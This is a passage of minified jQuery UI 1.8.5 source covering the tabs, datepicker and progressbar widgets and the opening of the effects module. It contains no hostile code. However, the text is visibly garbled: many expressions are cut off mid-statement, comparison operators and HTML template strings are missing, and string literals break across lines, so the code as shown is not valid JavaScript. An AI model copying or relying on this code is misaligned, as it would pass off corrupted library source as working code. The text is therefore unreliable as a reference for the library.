identifier.";d.browser.msie&&this.blur()});this.anchors.bind("click.tabs", +function(){return false})},_getIndex:function(a){if(typeof a=="string")a=this.anchors.index(this.anchors.filter("[href$="+a+"]"));return a},destroy:function(){var a=this.options;this.abort();this.element.unbind(".tabs").removeClass("ui-tabs ui-widget ui-widget-content ui-corner-all ui-tabs-collapsible").removeData("tabs");this.list.removeClass("ui-tabs-nav ui-helper-reset ui-helper-clearfix ui-widget-header ui-corner-all");this.anchors.each(function(){var e=d.data(this,"href.tabs");if(e)this.href= +e;var b=d(this).unbind(".tabs");d.each(["href","load","cache"],function(c,h){b.removeData(h+".tabs")})});this.lis.unbind(".tabs").add(this.panels).each(function(){d.data(this,"destroy.tabs")?d(this).remove():d(this).removeClass("ui-state-default ui-corner-top ui-tabs-selected ui-state-active ui-state-hover ui-state-focus ui-state-disabled ui-tabs-panel ui-widget-content ui-corner-bottom ui-tabs-hide")});a.cookie&&this._cookie(null,a.cookie);return this},add:function(a,e,b){if(b===p)b=this.anchors.length; +var c=this,h=this.options;e=d(h.tabTemplate.replace(/#\{href\}/g,a).replace(/#\{label\}/g,e));a=!a.indexOf("#")?a.replace("#",""):this._tabId(d("a",e)[0]);e.addClass("ui-state-default ui-corner-top").data("destroy.tabs",true);var j=d("#"+a);j.length||(j=d(h.panelTemplate).attr("id",a).data("destroy.tabs",true));j.addClass("ui-tabs-panel ui-widget-content ui-corner-bottom ui-tabs-hide");if(b>=this.lis.length){e.appendTo(this.list);j.appendTo(this.list[0].parentNode)}else{e.insertBefore(this.lis[b]); +j.insertBefore(this.panels[b])}h.disabled=d.map(h.disabled,function(k){return k>=b?++k:k});this._tabify();if(this.anchors.length==1){h.selected=0;e.addClass("ui-tabs-selected ui-state-active");j.removeClass("ui-tabs-hide");this.element.queue("tabs",function(){c._trigger("show",null,c._ui(c.anchors[0],c.panels[0]))});this.load(0)}this._trigger("add",null,this._ui(this.anchors[b],this.panels[b]));return this},remove:function(a){a=this._getIndex(a);var e=this.options,b=this.lis.eq(a).remove(),c=this.panels.eq(a).remove(); +if(b.hasClass("ui-tabs-selected")&&this.anchors.length>1)this.select(a+(a+1=a?--h:h});this._tabify();this._trigger("remove",null,this._ui(b.find("a")[0],c[0]));return this},enable:function(a){a=this._getIndex(a);var e=this.options;if(d.inArray(a,e.disabled)!=-1){this.lis.eq(a).removeClass("ui-state-disabled");e.disabled=d.grep(e.disabled,function(b){return b!=a});this._trigger("enable",null, +this._ui(this.anchors[a],this.panels[a]));return this}},disable:function(a){a=this._getIndex(a);var e=this.options;if(a!=e.selected){this.lis.eq(a).addClass("ui-state-disabled");e.disabled.push(a);e.disabled.sort();this._trigger("disable",null,this._ui(this.anchors[a],this.panels[a]))}return this},select:function(a){a=this._getIndex(a);if(a==-1)if(this.options.collapsible&&this.options.selected!=-1)a=this.options.selected;else return this;this.anchors.eq(a).trigger(this.options.event+".tabs");return this}, +load:function(a){a=this._getIndex(a);var e=this,b=this.options,c=this.anchors.eq(a)[0],h=d.data(c,"load.tabs");this.abort();if(!h||this.element.queue("tabs").length!==0&&d.data(c,"cache.tabs"))this.element.dequeue("tabs");else{this.lis.eq(a).addClass("ui-state-processing");if(b.spinner){var j=d("span",c);j.data("label.tabs",j.html()).html(b.spinner)}this.xhr=d.ajax(d.extend({},b.ajaxOptions,{url:h,success:function(k,n){d(e._sanitizeSelector(c.hash)).html(k);e._cleanup();b.cache&&d.data(c,"cache.tabs", +true);e._trigger("load",null,e._ui(e.anchors[a],e.panels[a]));try{b.ajaxOptions.success(k,n)}catch(m){}},error:function(k,n){e._cleanup();e._trigger("load",null,e._ui(e.anchors[a],e.panels[a]));try{b.ajaxOptions.error(k,n,a,c)}catch(m){}}}));e.element.dequeue("tabs");return this}},abort:function(){this.element.queue([]);this.panels.stop(false,true);this.element.queue("tabs",this.element.queue("tabs").splice(-2,2));if(this.xhr){this.xhr.abort();delete this.xhr}this._cleanup();return this},url:function(a, +e){this.anchors.eq(a).removeData("cache.tabs").data("load.tabs",e);return this},length:function(){return this.anchors.length}});d.extend(d.ui.tabs,{version:"1.8.5"});d.extend(d.ui.tabs.prototype,{rotation:null,rotate:function(a,e){var b=this,c=this.options,h=b._rotate||(b._rotate=function(j){clearTimeout(b.rotation);b.rotation=setTimeout(function(){var k=c.selected;b.select(++k')}function E(a,b){d.extend(a, +b);for(var c in b)if(b[c]==null||b[c]==G)a[c]=b[c];return a}d.extend(d.ui,{datepicker:{version:"1.8.5"}});var y=(new Date).getTime();d.extend(L.prototype,{markerClassName:"hasDatepicker",log:function(){this.debug&&console.log.apply("",arguments)},_widgetDatepicker:function(){return this.dpDiv},setDefaults:function(a){E(this._defaults,a||{});return this},_attachDatepicker:function(a,b){var c=null;for(var e in this._defaults){var f=a.getAttribute("date:"+e);if(f){c=c||{};try{c[e]=eval(f)}catch(h){c[e]= +f}}}e=a.nodeName.toLowerCase();f=e=="div"||e=="span";if(!a.id){this.uuid+=1;a.id="dp"+this.uuid}var i=this._newInst(d(a),f);i.settings=d.extend({},b||{},c||{});if(e=="input")this._connectDatepicker(a,i);else f&&this._inlineDatepicker(a,i)},_newInst:function(a,b){return{id:a[0].id.replace(/([^A-Za-z0-9_])/g,"\\\\$1"),input:a,selectedDay:0,selectedMonth:0,selectedYear:0,drawMonth:0,drawYear:0,inline:b,dpDiv:!b?this.dpDiv:d('
    ')}}, +_connectDatepicker:function(a,b){var c=d(a);b.append=d([]);b.trigger=d([]);if(!c.hasClass(this.markerClassName)){this._attachments(c,b);c.addClass(this.markerClassName).keydown(this._doKeyDown).keypress(this._doKeyPress).keyup(this._doKeyUp).bind("setData.datepicker",function(e,f,h){b.settings[f]=h}).bind("getData.datepicker",function(e,f){return this._get(b,f)});this._autoSize(b);d.data(a,"datepicker",b)}},_attachments:function(a,b){var c=this._get(b,"appendText"),e=this._get(b,"isRTL");b.append&& +b.append.remove();if(c){b.append=d(''+c+"");a[e?"before":"after"](b.append)}a.unbind("focus",this._showDatepicker);b.trigger&&b.trigger.remove();c=this._get(b,"showOn");if(c=="focus"||c=="both")a.focus(this._showDatepicker);if(c=="button"||c=="both"){c=this._get(b,"buttonText");var f=this._get(b,"buttonImage");b.trigger=d(this._get(b,"buttonImageOnly")?d("").addClass(this._triggerClass).attr({src:f,alt:c,title:c}):d('').addClass(this._triggerClass).html(f== +""?c:d("").attr({src:f,alt:c,title:c})));a[e?"before":"after"](b.trigger);b.trigger.click(function(){d.datepicker._datepickerShowing&&d.datepicker._lastInput==a[0]?d.datepicker._hideDatepicker():d.datepicker._showDatepicker(a[0]);return false})}},_autoSize:function(a){if(this._get(a,"autoSize")&&!a.inline){var b=new Date(2009,11,20),c=this._get(a,"dateFormat");if(c.match(/[DM]/)){var e=function(f){for(var h=0,i=0,g=0;gh){h=f[g].length;i=g}return i};b.setMonth(e(this._get(a, +c.match(/MM/)?"monthNames":"monthNamesShort")));b.setDate(e(this._get(a,c.match(/DD/)?"dayNames":"dayNamesShort"))+20-b.getDay())}a.input.attr("size",this._formatDate(a,b).length)}},_inlineDatepicker:function(a,b){var c=d(a);if(!c.hasClass(this.markerClassName)){c.addClass(this.markerClassName).append(b.dpDiv).bind("setData.datepicker",function(e,f,h){b.settings[f]=h}).bind("getData.datepicker",function(e,f){return this._get(b,f)});d.data(a,"datepicker",b);this._setDate(b,this._getDefaultDate(b), +true);this._updateDatepicker(b);this._updateAlternate(b)}},_dialogDatepicker:function(a,b,c,e,f){a=this._dialogInst;if(!a){this.uuid+=1;this._dialogInput=d('');this._dialogInput.keydown(this._doKeyDown);d("body").append(this._dialogInput);a=this._dialogInst=this._newInst(this._dialogInput,false);a.settings={};d.data(this._dialogInput[0],"datepicker",a)}E(a.settings,e||{});b=b&&b.constructor== +Date?this._formatDate(a,b):b;this._dialogInput.val(b);this._pos=f?f.length?f:[f.pageX,f.pageY]:null;if(!this._pos)this._pos=[document.documentElement.clientWidth/2-100+(document.documentElement.scrollLeft||document.body.scrollLeft),document.documentElement.clientHeight/2-150+(document.documentElement.scrollTop||document.body.scrollTop)];this._dialogInput.css("left",this._pos[0]+20+"px").css("top",this._pos[1]+"px");a.settings.onSelect=c;this._inDialog=true;this.dpDiv.addClass(this._dialogClass);this._showDatepicker(this._dialogInput[0]); +d.blockUI&&d.blockUI(this.dpDiv);d.data(this._dialogInput[0],"datepicker",a);return this},_destroyDatepicker:function(a){var b=d(a),c=d.data(a,"datepicker");if(b.hasClass(this.markerClassName)){var e=a.nodeName.toLowerCase();d.removeData(a,"datepicker");if(e=="input"){c.append.remove();c.trigger.remove();b.removeClass(this.markerClassName).unbind("focus",this._showDatepicker).unbind("keydown",this._doKeyDown).unbind("keypress",this._doKeyPress).unbind("keyup",this._doKeyUp)}else if(e=="div"||e=="span")b.removeClass(this.markerClassName).empty()}}, +_enableDatepicker:function(a){var b=d(a),c=d.data(a,"datepicker");if(b.hasClass(this.markerClassName)){var e=a.nodeName.toLowerCase();if(e=="input"){a.disabled=false;c.trigger.filter("button").each(function(){this.disabled=false}).end().filter("img").css({opacity:"1.0",cursor:""})}else if(e=="div"||e=="span")b.children("."+this._inlineClass).children().removeClass("ui-state-disabled");this._disabledInputs=d.map(this._disabledInputs,function(f){return f==a?null:f})}},_disableDatepicker:function(a){var b= +d(a),c=d.data(a,"datepicker");if(b.hasClass(this.markerClassName)){var e=a.nodeName.toLowerCase();if(e=="input"){a.disabled=true;c.trigger.filter("button").each(function(){this.disabled=true}).end().filter("img").css({opacity:"0.5",cursor:"default"})}else if(e=="div"||e=="span")b.children("."+this._inlineClass).children().addClass("ui-state-disabled");this._disabledInputs=d.map(this._disabledInputs,function(f){return f==a?null:f});this._disabledInputs[this._disabledInputs.length]=a}},_isDisabledDatepicker:function(a){if(!a)return false; +for(var b=0;b-1}},_doKeyUp:function(a){a=d.datepicker._getInst(a.target);if(a.input.val()!=a.lastVal)try{if(d.datepicker.parseDate(d.datepicker._get(a,"dateFormat"),a.input?a.input.val():null,d.datepicker._getFormatConfig(a))){d.datepicker._setDateFromField(a);d.datepicker._updateAlternate(a);d.datepicker._updateDatepicker(a)}}catch(b){d.datepicker.log(b)}return true},_showDatepicker:function(a){a=a.target|| +a;if(a.nodeName.toLowerCase()!="input")a=d("input",a.parentNode)[0];if(!(d.datepicker._isDisabledDatepicker(a)||d.datepicker._lastInput==a)){var b=d.datepicker._getInst(a);d.datepicker._curInst&&d.datepicker._curInst!=b&&d.datepicker._curInst.dpDiv.stop(true,true);var c=d.datepicker._get(b,"beforeShow");E(b.settings,c?c.apply(a,[a,b]):{});b.lastVal=null;d.datepicker._lastInput=a;d.datepicker._setDateFromField(b);if(d.datepicker._inDialog)a.value="";if(!d.datepicker._pos){d.datepicker._pos=d.datepicker._findPos(a); +d.datepicker._pos[1]+=a.offsetHeight}var e=false;d(a).parents().each(function(){e|=d(this).css("position")=="fixed";return!e});if(e&&d.browser.opera){d.datepicker._pos[0]-=document.documentElement.scrollLeft;d.datepicker._pos[1]-=document.documentElement.scrollTop}c={left:d.datepicker._pos[0],top:d.datepicker._pos[1]};d.datepicker._pos=null;b.dpDiv.css({position:"absolute",display:"block",top:"-1000px"});d.datepicker._updateDatepicker(b);c=d.datepicker._checkOffset(b,c,e);b.dpDiv.css({position:d.datepicker._inDialog&& +d.blockUI?"static":e?"fixed":"absolute",display:"none",left:c.left+"px",top:c.top+"px"});if(!b.inline){c=d.datepicker._get(b,"showAnim");var f=d.datepicker._get(b,"duration"),h=function(){d.datepicker._datepickerShowing=true;var i=d.datepicker._getBorders(b.dpDiv);b.dpDiv.find("iframe.ui-datepicker-cover").css({left:-i[0],top:-i[1],width:b.dpDiv.outerWidth(),height:b.dpDiv.outerHeight()})};b.dpDiv.zIndex(d(a).zIndex()+1);d.effects&&d.effects[c]?b.dpDiv.show(c,d.datepicker._get(b,"showOptions"),f, +h):b.dpDiv[c||"show"](c?f:null,h);if(!c||!f)h();b.input.is(":visible")&&!b.input.is(":disabled")&&b.input.focus();d.datepicker._curInst=b}}},_updateDatepicker:function(a){var b=this,c=d.datepicker._getBorders(a.dpDiv);a.dpDiv.empty().append(this._generateHTML(a)).find("iframe.ui-datepicker-cover").css({left:-c[0],top:-c[1],width:a.dpDiv.outerWidth(),height:a.dpDiv.outerHeight()}).end().find("button, .ui-datepicker-prev, .ui-datepicker-next, .ui-datepicker-calendar td a").bind("mouseout",function(){d(this).removeClass("ui-state-hover"); +this.className.indexOf("ui-datepicker-prev")!=-1&&d(this).removeClass("ui-datepicker-prev-hover");this.className.indexOf("ui-datepicker-next")!=-1&&d(this).removeClass("ui-datepicker-next-hover")}).bind("mouseover",function(){if(!b._isDisabledDatepicker(a.inline?a.dpDiv.parent()[0]:a.input[0])){d(this).parents(".ui-datepicker-calendar").find("a").removeClass("ui-state-hover");d(this).addClass("ui-state-hover");this.className.indexOf("ui-datepicker-prev")!=-1&&d(this).addClass("ui-datepicker-prev-hover"); +this.className.indexOf("ui-datepicker-next")!=-1&&d(this).addClass("ui-datepicker-next-hover")}}).end().find("."+this._dayOverClass+" a").trigger("mouseover").end();c=this._getNumberOfMonths(a);var e=c[1];e>1?a.dpDiv.addClass("ui-datepicker-multi-"+e).css("width",17*e+"em"):a.dpDiv.removeClass("ui-datepicker-multi-2 ui-datepicker-multi-3 ui-datepicker-multi-4").width("");a.dpDiv[(c[0]!=1||c[1]!=1?"add":"remove")+"Class"]("ui-datepicker-multi");a.dpDiv[(this._get(a,"isRTL")?"add":"remove")+"Class"]("ui-datepicker-rtl"); +a==d.datepicker._curInst&&d.datepicker._datepickerShowing&&a.input&&a.input.is(":visible")&&!a.input.is(":disabled")&&a.input.focus()},_getBorders:function(a){var b=function(c){return{thin:1,medium:2,thick:3}[c]||c};return[parseFloat(b(a.css("border-left-width"))),parseFloat(b(a.css("border-top-width")))]},_checkOffset:function(a,b,c){var e=a.dpDiv.outerWidth(),f=a.dpDiv.outerHeight(),h=a.input?a.input.outerWidth():0,i=a.input?a.input.outerHeight():0,g=document.documentElement.clientWidth+d(document).scrollLeft(), +k=document.documentElement.clientHeight+d(document).scrollTop();b.left-=this._get(a,"isRTL")?e-h:0;b.left-=c&&b.left==a.input.offset().left?d(document).scrollLeft():0;b.top-=c&&b.top==a.input.offset().top+i?d(document).scrollTop():0;b.left-=Math.min(b.left,b.left+e>g&&g>e?Math.abs(b.left+e-g):0);b.top-=Math.min(b.top,b.top+f>k&&k>f?Math.abs(f+i):0);return b},_findPos:function(a){for(var b=this._get(this._getInst(a),"isRTL");a&&(a.type=="hidden"||a.nodeType!=1);)a=a[b?"previousSibling":"nextSibling"]; +a=d(a).offset();return[a.left,a.top]},_hideDatepicker:function(a){var b=this._curInst;if(!(!b||a&&b!=d.data(a,"datepicker")))if(this._datepickerShowing){a=this._get(b,"showAnim");var c=this._get(b,"duration"),e=function(){d.datepicker._tidyDialog(b);this._curInst=null};d.effects&&d.effects[a]?b.dpDiv.hide(a,d.datepicker._get(b,"showOptions"),c,e):b.dpDiv[a=="slideDown"?"slideUp":a=="fadeIn"?"fadeOut":"hide"](a?c:null,e);a||e();if(a=this._get(b,"onClose"))a.apply(b.input?b.input[0]:null,[b.input?b.input.val(): +"",b]);this._datepickerShowing=false;this._lastInput=null;if(this._inDialog){this._dialogInput.css({position:"absolute",left:"0",top:"-100px"});if(d.blockUI){d.unblockUI();d("body").append(this.dpDiv)}}this._inDialog=false}},_tidyDialog:function(a){a.dpDiv.removeClass(this._dialogClass).unbind(".ui-datepicker-calendar")},_checkExternalClick:function(a){if(d.datepicker._curInst){a=d(a.target);a[0].id!=d.datepicker._mainDivId&&a.parents("#"+d.datepicker._mainDivId).length==0&&!a.hasClass(d.datepicker.markerClassName)&& +!a.hasClass(d.datepicker._triggerClass)&&d.datepicker._datepickerShowing&&!(d.datepicker._inDialog&&d.blockUI)&&d.datepicker._hideDatepicker()}},_adjustDate:function(a,b,c){a=d(a);var e=this._getInst(a[0]);if(!this._isDisabledDatepicker(a[0])){this._adjustInstDate(e,b+(c=="M"?this._get(e,"showCurrentAtPos"):0),c);this._updateDatepicker(e)}},_gotoToday:function(a){a=d(a);var b=this._getInst(a[0]);if(this._get(b,"gotoCurrent")&&b.currentDay){b.selectedDay=b.currentDay;b.drawMonth=b.selectedMonth=b.currentMonth; +b.drawYear=b.selectedYear=b.currentYear}else{var c=new Date;b.selectedDay=c.getDate();b.drawMonth=b.selectedMonth=c.getMonth();b.drawYear=b.selectedYear=c.getFullYear()}this._notifyChange(b);this._adjustDate(a)},_selectMonthYear:function(a,b,c){a=d(a);var e=this._getInst(a[0]);e._selectingMonthYear=false;e["selected"+(c=="M"?"Month":"Year")]=e["draw"+(c=="M"?"Month":"Year")]=parseInt(b.options[b.selectedIndex].value,10);this._notifyChange(e);this._adjustDate(a)},_clickMonthYear:function(a){var b= +this._getInst(d(a)[0]);b.input&&b._selectingMonthYear&&setTimeout(function(){b.input.focus()},0);b._selectingMonthYear=!b._selectingMonthYear},_selectDay:function(a,b,c,e){var f=d(a);if(!(d(e).hasClass(this._unselectableClass)||this._isDisabledDatepicker(f[0]))){f=this._getInst(f[0]);f.selectedDay=f.currentDay=d("a",e).html();f.selectedMonth=f.currentMonth=b;f.selectedYear=f.currentYear=c;this._selectDate(a,this._formatDate(f,f.currentDay,f.currentMonth,f.currentYear))}},_clearDate:function(a){a= +d(a);this._getInst(a[0]);this._selectDate(a,"")},_selectDate:function(a,b){a=this._getInst(d(a)[0]);b=b!=null?b:this._formatDate(a);a.input&&a.input.val(b);this._updateAlternate(a);var c=this._get(a,"onSelect");if(c)c.apply(a.input?a.input[0]:null,[b,a]);else a.input&&a.input.trigger("change");if(a.inline)this._updateDatepicker(a);else{this._hideDatepicker();this._lastInput=a.input[0];typeof a.input[0]!="object"&&a.input.focus();this._lastInput=null}},_updateAlternate:function(a){var b=this._get(a, +"altField");if(b){var c=this._get(a,"altFormat")||this._get(a,"dateFormat"),e=this._getDate(a),f=this.formatDate(c,e,this._getFormatConfig(a));d(b).each(function(){d(this).val(f)})}},noWeekends:function(a){a=a.getDay();return[a>0&&a<6,""]},iso8601Week:function(a){a=new Date(a.getTime());a.setDate(a.getDate()+4-(a.getDay()||7));var b=a.getTime();a.setMonth(0);a.setDate(1);return Math.floor(Math.round((b-a)/864E5)/7)+1},parseDate:function(a,b,c){if(a==null||b==null)throw"Invalid arguments";b=typeof b== +"object"?b.toString():b+"";if(b=="")return null;for(var e=(c?c.shortYearCutoff:null)||this._defaults.shortYearCutoff,f=(c?c.dayNamesShort:null)||this._defaults.dayNamesShort,h=(c?c.dayNames:null)||this._defaults.dayNames,i=(c?c.monthNamesShort:null)||this._defaults.monthNamesShort,g=(c?c.monthNames:null)||this._defaults.monthNames,k=c=-1,l=-1,u=-1,j=false,o=function(p){(p=z+1 +-1){k=1;l=u;do{e=this._getDaysInMonth(c,k-1);if(l<=e)break;k++;l-=e}while(1)}v=this._daylightSavingAdjust(new Date(c,k-1,l));if(v.getFullYear()!=c||v.getMonth()+1!=k||v.getDate()!=l)throw"Invalid date";return v},ATOM:"yy-mm-dd",COOKIE:"D, dd M yy",ISO_8601:"yy-mm-dd",RFC_822:"D, d M y",RFC_850:"DD, dd-M-y",RFC_1036:"D, d M y",RFC_1123:"D, d M yy",RFC_2822:"D, d M yy",RSS:"D, d M y",TICKS:"!",TIMESTAMP:"@",W3C:"yy-mm-dd",_ticksTo1970:(718685+Math.floor(492.5)-Math.floor(19.7)+Math.floor(4.925))*24* +60*60*1E7,formatDate:function(a,b,c){if(!b)return"";var e=(c?c.dayNamesShort:null)||this._defaults.dayNamesShort,f=(c?c.dayNames:null)||this._defaults.dayNames,h=(c?c.monthNamesShort:null)||this._defaults.monthNamesShort;c=(c?c.monthNames:null)||this._defaults.monthNames;var i=function(o){(o=j+112?a.getHours()+2:0);return a},_setDate:function(a,b,c){var e=!b,f=a.selectedMonth,h=a.selectedYear;b=this._restrictMinMax(a,this._determineDate(a,b,new Date));a.selectedDay=a.currentDay=b.getDate();a.drawMonth=a.selectedMonth=a.currentMonth=b.getMonth();a.drawYear=a.selectedYear=a.currentYear=b.getFullYear();if((f!=a.selectedMonth||h!=a.selectedYear)&&!c)this._notifyChange(a);this._adjustInstDate(a);if(a.input)a.input.val(e? +"":this._formatDate(a))},_getDate:function(a){return!a.currentYear||a.input&&a.input.val()==""?null:this._daylightSavingAdjust(new Date(a.currentYear,a.currentMonth,a.currentDay))},_generateHTML:function(a){var b=new Date;b=this._daylightSavingAdjust(new Date(b.getFullYear(),b.getMonth(),b.getDate()));var c=this._get(a,"isRTL"),e=this._get(a,"showButtonPanel"),f=this._get(a,"hideIfNoPrevNext"),h=this._get(a,"navigationAsDateFormat"),i=this._getNumberOfMonths(a),g=this._get(a,"showCurrentAtPos"),k= +this._get(a,"stepMonths"),l=i[0]!=1||i[1]!=1,u=this._daylightSavingAdjust(!a.currentDay?new Date(9999,9,9):new Date(a.currentYear,a.currentMonth,a.currentDay)),j=this._getMinMaxDate(a,"min"),o=this._getMinMaxDate(a,"max");g=a.drawMonth-g;var m=a.drawYear;if(g<0){g+=12;m--}if(o){var n=this._daylightSavingAdjust(new Date(o.getFullYear(),o.getMonth()-i[0]*i[1]+1,o.getDate()));for(n=j&&nn;){g--;if(g<0){g=11;m--}}}a.drawMonth=g;a.drawYear=m;n=this._get(a, +"prevText");n=!h?n:this.formatDate(n,this._daylightSavingAdjust(new Date(m,g-k,1)),this._getFormatConfig(a));n=this._canAdjustMonth(a,-1,m,g)?''+n+"":f?"":''+ +n+"";var r=this._get(a,"nextText");r=!h?r:this.formatDate(r,this._daylightSavingAdjust(new Date(m,g+k,1)),this._getFormatConfig(a));f=this._canAdjustMonth(a,+1,m,g)?''+r+"":f?"":''+r+"";k=this._get(a,"currentText");r=this._get(a,"gotoCurrent")&&a.currentDay?u:b;k=!h?k:this.formatDate(k,r,this._getFormatConfig(a));h=!a.inline?'":"";e=e?'
    '+(c?h:"")+(this._isInRange(a,r)?'":"")+(c?"":h)+"
    ":"";h=parseInt(this._get(a,"firstDay"),10);h=isNaN(h)?0:h;k=this._get(a,"showWeek");r=this._get(a,"dayNames");this._get(a,"dayNamesShort");var s=this._get(a,"dayNamesMin"),z=this._get(a,"monthNames"),v=this._get(a,"monthNamesShort"),p=this._get(a,"beforeShowDay"),w=this._get(a,"showOtherMonths"),H=this._get(a,"selectOtherMonths");this._get(a,"calculateWeek");for(var M=this._getDefaultDate(a),I="",C=0;C1)switch(D){case 0:x+=" ui-datepicker-group-first";t=" ui-corner-"+(c?"right":"left");break;case i[1]-1:x+=" ui-datepicker-group-last";t=" ui-corner-"+(c?"left":"right");break;default:x+=" ui-datepicker-group-middle";t="";break}x+='">'}x+='
    '+(/all|left/.test(t)&&C==0?c? +f:n:"")+(/all|right/.test(t)&&C==0?c?n:f:"")+this._generateMonthYearHeader(a,g,m,j,o,C>0||D>0,z,v)+'
    ';var A=k?'":"";for(t=0;t<7;t++){var q=(t+h)%7;A+="=5?' class="ui-datepicker-week-end"':"")+'>'+s[q]+""}x+=A+"";A=this._getDaysInMonth(m,g);if(m==a.selectedYear&&g==a.selectedMonth)a.selectedDay=Math.min(a.selectedDay, +A);t=(this._getFirstDayOfMonth(m,g)-h+7)%7;A=l?6:Math.ceil((t+A)/7);q=this._daylightSavingAdjust(new Date(m,g,1-t));for(var O=0;O";var P=!k?"":'";for(t=0;t<7;t++){var F=p?p.apply(a.input?a.input[0]:null,[q]):[true,""],B=q.getMonth()!=g,K=B&&!H||!F[0]||j&&qo;P+='";q.setDate(q.getDate()+1);q=this._daylightSavingAdjust(q)}x+=P+""}g++;if(g>11){g=0;m++}x+="
    '+this._get(a,"weekHeader")+"
    '+this._get(a,"calculateWeek")(q)+""+(B&&!w?" ":K?''+q.getDate()+ +"":''+q.getDate()+"")+"
    "+(l?""+(i[0]>0&&D==i[1]-1?'
    ':""):"");N+=x}I+=N}I+=e+(d.browser.msie&&parseInt(d.browser.version,10)<7&&!a.inline?'': +"");a._keyEvent=false;return I},_generateMonthYearHeader:function(a,b,c,e,f,h,i,g){var k=this._get(a,"changeMonth"),l=this._get(a,"changeYear"),u=this._get(a,"showMonthAfterYear"),j='
    ',o="";if(h||!k)o+=''+i[b]+"";else{i=e&&e.getFullYear()==c;var m=f&&f.getFullYear()==c;o+='"}u||(j+=o+(h||!(k&&l)?" ":""));if(h||!l)j+=''+c+"";else{g=this._get(a,"yearRange").split(":");var r=(new Date).getFullYear();i=function(s){s=s.match(/c[+-].*/)?c+parseInt(s.substring(1),10):s.match(/[+-].*/)?r+parseInt(s,10):parseInt(s,10);return isNaN(s)?r:s};b=i(g[0]);g=Math.max(b, +i(g[1]||""));b=e?Math.max(b,e.getFullYear()):b;g=f?Math.min(g,f.getFullYear()):g;for(j+='"}j+=this._get(a,"yearSuffix");if(u)j+=(h||!(k&&l)?" ":"")+o;j+="
    ";return j},_adjustInstDate:function(a,b,c){var e= +a.drawYear+(c=="Y"?b:0),f=a.drawMonth+(c=="M"?b:0);b=Math.min(a.selectedDay,this._getDaysInMonth(e,f))+(c=="D"?b:0);e=this._restrictMinMax(a,this._daylightSavingAdjust(new Date(e,f,b)));a.selectedDay=e.getDate();a.drawMonth=a.selectedMonth=e.getMonth();a.drawYear=a.selectedYear=e.getFullYear();if(c=="M"||c=="Y")this._notifyChange(a)},_restrictMinMax:function(a,b){var c=this._getMinMaxDate(a,"min");a=this._getMinMaxDate(a,"max");b=c&&ba?a:b},_notifyChange:function(a){var b=this._get(a, +"onChangeMonthYear");if(b)b.apply(a.input?a.input[0]:null,[a.selectedYear,a.selectedMonth+1,a])},_getNumberOfMonths:function(a){a=this._get(a,"numberOfMonths");return a==null?[1,1]:typeof a=="number"?[1,a]:a},_getMinMaxDate:function(a,b){return this._determineDate(a,this._get(a,b+"Date"),null)},_getDaysInMonth:function(a,b){return 32-(new Date(a,b,32)).getDate()},_getFirstDayOfMonth:function(a,b){return(new Date(a,b,1)).getDay()},_canAdjustMonth:function(a,b,c,e){var f=this._getNumberOfMonths(a); +c=this._daylightSavingAdjust(new Date(c,e+(b<0?b:f[0]*f[1]),1));b<0&&c.setDate(this._getDaysInMonth(c.getFullYear(),c.getMonth()));return this._isInRange(a,c)},_isInRange:function(a,b){var c=this._getMinMaxDate(a,"min");a=this._getMinMaxDate(a,"max");return(!c||b.getTime()>=c.getTime())&&(!a||b.getTime()<=a.getTime())},_getFormatConfig:function(a){var b=this._get(a,"shortYearCutoff");b=typeof b!="string"?b:(new Date).getFullYear()%100+parseInt(b,10);return{shortYearCutoff:b,dayNamesShort:this._get(a, +"dayNamesShort"),dayNames:this._get(a,"dayNames"),monthNamesShort:this._get(a,"monthNamesShort"),monthNames:this._get(a,"monthNames")}},_formatDate:function(a,b,c,e){if(!b){a.currentDay=a.selectedDay;a.currentMonth=a.selectedMonth;a.currentYear=a.selectedYear}b=b?typeof b=="object"?b:this._daylightSavingAdjust(new Date(e,c,b)):this._daylightSavingAdjust(new Date(a.currentYear,a.currentMonth,a.currentDay));return this.formatDate(this._get(a,"dateFormat"),b,this._getFormatConfig(a))}});d.fn.datepicker= +function(a){if(!d.datepicker.initialized){d(document).mousedown(d.datepicker._checkExternalClick).find("body").append(d.datepicker.dpDiv);d.datepicker.initialized=true}var b=Array.prototype.slice.call(arguments,1);if(typeof a=="string"&&(a=="isDisabled"||a=="getDate"||a=="widget"))return d.datepicker["_"+a+"Datepicker"].apply(d.datepicker,[this[0]].concat(b));if(a=="option"&&arguments.length==2&&typeof arguments[1]=="string")return d.datepicker["_"+a+"Datepicker"].apply(d.datepicker,[this[0]].concat(b)); +return this.each(function(){typeof a=="string"?d.datepicker["_"+a+"Datepicker"].apply(d.datepicker,[this].concat(b)):d.datepicker._attachDatepicker(this,a)})};d.datepicker=new L;d.datepicker.initialized=false;d.datepicker.uuid=(new Date).getTime();d.datepicker.version="1.8.5";window["DP_jQuery_"+y]=d})(jQuery); +;/* + * jQuery UI Progressbar 1.8.5 + * + * Copyright 2010, AUTHORS.txt (http://jqueryui.com/about) + * Dual licensed under the MIT or GPL Version 2 licenses. + * http://jquery.org/license + * + * http://docs.jquery.com/UI/Progressbar + * + * Depends: + * jquery.ui.core.js + * jquery.ui.widget.js + */ +(function(b,c){b.widget("ui.progressbar",{options:{value:0},min:0,max:100,_create:function(){this.element.addClass("ui-progressbar ui-widget ui-widget-content ui-corner-all").attr({role:"progressbar","aria-valuemin":this.min,"aria-valuemax":this.max,"aria-valuenow":this._value()});this.valueDiv=b("
    ").appendTo(this.element);this._refreshValue()},destroy:function(){this.element.removeClass("ui-progressbar ui-widget ui-widget-content ui-corner-all").removeAttr("role").removeAttr("aria-valuemin").removeAttr("aria-valuemax").removeAttr("aria-valuenow"); +this.valueDiv.remove();b.Widget.prototype.destroy.apply(this,arguments)},value:function(a){if(a===c)return this._value();this._setOption("value",a);return this},_setOption:function(a,d){if(a==="value"){this.options.value=d;this._refreshValue();this._trigger("change")}b.Widget.prototype._setOption.apply(this,arguments)},_value:function(){var a=this.options.value;if(typeof a!=="number")a=0;return Math.min(this.max,Math.max(this.min,a))},_refreshValue:function(){var a=this.value();this.valueDiv.toggleClass("ui-corner-right", +a===this.max).width(a+"%");this.element.attr("aria-valuenow",a)}});b.extend(b.ui.progressbar,{version:"1.8.5"})})(jQuery); +;/* + * jQuery UI Effects 1.8.5 + * + * Copyright 2010, AUTHORS.txt (http://jqueryui.com/about) + * Dual licensed under the MIT or GPL Version 2 licenses. + * http://jquery.org/license + * + * http://docs.jquery.com/UI/Effects/ + */ +jQuery.effects||function(f,j){function l(c){var a;if(c&&c.constructor==Array&&c.length==3)return 